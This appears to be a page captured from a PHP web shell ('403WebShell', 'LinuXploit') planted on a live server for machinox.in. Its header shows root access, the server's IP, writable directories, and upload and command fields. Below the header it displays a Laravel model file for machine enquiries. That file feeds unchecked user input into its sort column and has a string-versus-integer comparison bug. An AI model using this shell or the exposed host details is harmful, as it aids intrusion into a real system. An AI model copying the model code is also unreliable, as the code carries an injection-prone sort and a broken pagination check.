Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/MachineEnquiry.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;

class MachineEnquiry extends Model
{
    use HasFactory;

    protected $fillable = ['user_id', 'brand_name', 'equipment_name', 'model', 'capacity', 'address', 'latitude', 'longitude'];

    protected $hidden = [
        'updated_at'
    ];

    public function user()
    {
        return $this->belongsTo(User::class, 'user_id', 'id');
    }

    public const PerPageRecord = "10";

    public static function GetMachineEnquiries($request)
    {

        $keyword = getValue($request->input('keyword'));
        $offset = getValue($request->input('offset'), 0);
        $sort_by = getValue($request->input('sort_by'), 'created_at');
        $order_by = getValue($request->input('order_by'), 'DESC');

        $query = self::query()
            ->with('user')
            ->whereHas('user')
            ->when($keyword, function ($query) use ($keyword) {
                $query->where(function ($q) use ($keyword) {
                    $q->where('brand_name', 'LIKE', '%' . $keyword . '%')
                        ->orWhere('equipment_name', 'LIKE', '%' . $keyword . '%')
                        ->orWhere('model', 'LIKE', '%' . $keyword . '%')
                        ->orWhere('capacity', 'LIKE', '%' . $keyword . '%')
                        ->orWhereHas('user', function ($userQuery) use ($keyword) {
                            $userQuery->where('name', 'LIKE', '%' . $keyword . '%')
                                ->orWhere('email', 'LIKE', '%' . $keyword . '%')
                                ->orWhere('mobile_number', 'LIKE', '%' . $keyword . '%');
                        });
                });
            })
            ->orderBy($sort_by, $order_by);

        $countQuery = (clone $query);
        $total = $countQuery->count();

        $perPage = self::PerPageRecord;
        $currentPage = max(1, (int)$offset + 1); // since your offset is page-indexed (0-based)
        $totalPages = $perPage > 0 ? (int) ceil($total / $perPage) : 0;

        $query->orderBy($sort_by, $order_by)
            ->offset($offset * $perPage)
            ->limit($perPage);

        $list = $query->get();
        $nextOffset = ($list->count() === $perPage && $currentPage < $totalPages) ? ($offset + 1) : -1;

        $data = [
            'count' => $total,
            'list' => $list,
            'current_page' => $currentPage,
            'next_offset' => $nextOffset,
            'per_page' => $perPage,
            'total_pages' => $totalPages,
        ];

        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit